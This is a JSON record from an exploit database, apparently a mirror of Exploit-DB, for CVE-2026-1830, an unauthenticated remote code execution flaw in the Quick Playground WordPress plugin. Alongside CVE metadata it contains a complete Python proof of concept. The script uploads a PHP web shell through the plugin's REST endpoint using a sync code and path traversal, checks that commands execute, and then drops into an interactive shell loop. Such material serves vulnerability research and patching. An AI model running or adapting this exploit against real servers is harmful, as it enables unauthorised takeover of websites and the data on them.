{"exploit":{"id":"EDB-52596","name":"Quick Playground for WordPress 1.3.1 - Unauthenticated Remote Code Execution (RCE)","description":"Quick Playground for WordPress 1.3.1 - Unauthenticated Remote Code Execution (RCE)","cves":["CVE-2026-1830"],"author":"cardosource","published":"2026-05-29","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52596","path":"exploits/multiple/webapps/52596.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52596.py","vulnerabilities":[{"id":"CVE-2026-1830","state":"PUBLISHED","title":"Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload","titleSource":"CVE Program","description":"The Quick Playground plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.3.1. This is due to insufficient authorization checks on REST API endpoints that expose a sync code and allow arbitrary file uploads. This makes it possible for unauthenticated attackers to retrieve the sync code, upload PHP files with path traversal, and achieve remote code execution on the server.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-1830","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"Wordfence","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-1830"},"updatedAt":"2026-04-09T13:34:45.661Z","retrievedAt":"2026-11-25T16:15:43.335Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52596.png?v=2","url":"https://exploitbin.com/exploits/EDB-52596","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52596/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52596/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Quick Playground for WordPress 1.3.1 - Unauthenticated Remote Code Execution\n# Google Dork: N/A\n# Date: 2026-05-22\n# Exploit Author: cardosource\n# Vendor Homepage: https://quickplayground.com\n# Software Link: https://downloads.wordpress.org/plugin/quick-playground.1.3.1.zip\n# Version: <= 1.3.1\n# Tested on: Docker / Debian / Apache / PHP 8.2 / WordPress 6.x\n# CVE: CVE-2026-1830\n#\n# Description:\n#\n# The Quick Playground plugin exposes a REST API endpoint:\n#\n#   /wp-json/quickplayground/v1/upload_image/{profile}\n#\n# The endpoint validates uploads exclusively through a sync_code value\n# without requiring authenticated WordPress sessions or capability checks.\n#\n# Vulnerable code:\n#\n#   if($code == $sync_code)\n#       return true;\n#\n# If a valid sync_code is known, weak, reused, leaked, or predictable,\n# an attacker can upload arbitrary files using path traversal sequences.\n#\n# This PoC demonstrates arbitrary PHP file upload resulting in remote\n# command execution in a controlled local lab environment.\n#\n# LAB SETUP:\n#\n# docker exec -it <container> \\\n#   wp option update qckply_sync_code_default 'exploit123' --allow-root\n#\n# Usage:\n#\n# python3 poc.py\n#\nimport requests\nimport base64\nimport random\nimport string\nimport re\n\nTARGET = \"http://localhost:8080\"\nSYNC_CODE = \"exploit123\"\nPROFILE = \"default\"\n\ns = requests.Session()\ns.headers.update({\n    \"User-Agent\": \"Mozilla/5.0\",\n    \"Content-Type\": \"application/json\"\n})\n\nname = ''.join(random.choices(string.ascii_lowercase, k=8)) + \".php\"\n\nshell = b'<?php if(isset($_GET[\"cmd\"])){echo \"<pre>\";system($_GET[\"cmd\"]);echo \"</pre>\";} ?>'\n\npayload = {\n    \"sync_code\": SYNC_CODE,\n    \"filename\": f\"../../../{name}\",\n    \"base64\": base64.b64encode(shell).decode()\n}\n\nurl = f\"{TARGET}/wp-json/quickplayground/v1/upload_image/{PROFILE}\"\n\nprint(\"[-] Sending webshell...\")\nr = s.post(url, json=payload, timeout=15)\n\ntry:\n    msg = r.json().get(\"message\", \"\")\nexcept:\n    print(\"[-] Invalid server response\")\n    exit()\n\nif \"saving to\" not in msg:\n    print(\"[-] Upload failed\")\n    print(r.text[:300])\n    exit()\n\nprint(\"[-] Checking execution...\")\n\nshell_url = f\"{TARGET}/{name}\"\n\nr = s.get(shell_url, params={\"cmd\": \"id\"}, timeout=10)\n\nm = re.search(r\"<pre>(.*?)</pre>\", r.text, re.DOTALL)\n\nif not m:\n    print(\"[-] Shell not responding\")\n    exit()\n\nprint(\"[+] RCE CONFIRMED!\")\nprint(f\"[+] Shell: {shell_url}?cmd=command\")\nprint(f\"[+] User: {m.group(1).strip()}\\n\")\n\nwhile True:\n    cmd = input(\"$ \").strip()\n\n    if cmd == \"exit\":\n        break\n\n    if not cmd:\n        continue\n\n    r = s.get(shell_url, params={\"cmd\": cmd}, timeout=30)\n\n    m = re.search(r\"<pre>(.*?)</pre>\", r.text, re.DOTALL)\n\n    if m:\n        print(m.group(1).strip())","sha256":"4c1f82d287cdf0130ce9602530ee7e4ec87f14b1df3778264c68e55c39ae5fec","bytes":2713,"fetchedAt":"2026-11-26T08:59:31.190Z","encoding":"utf-8 (display only; download retains original bytes)"}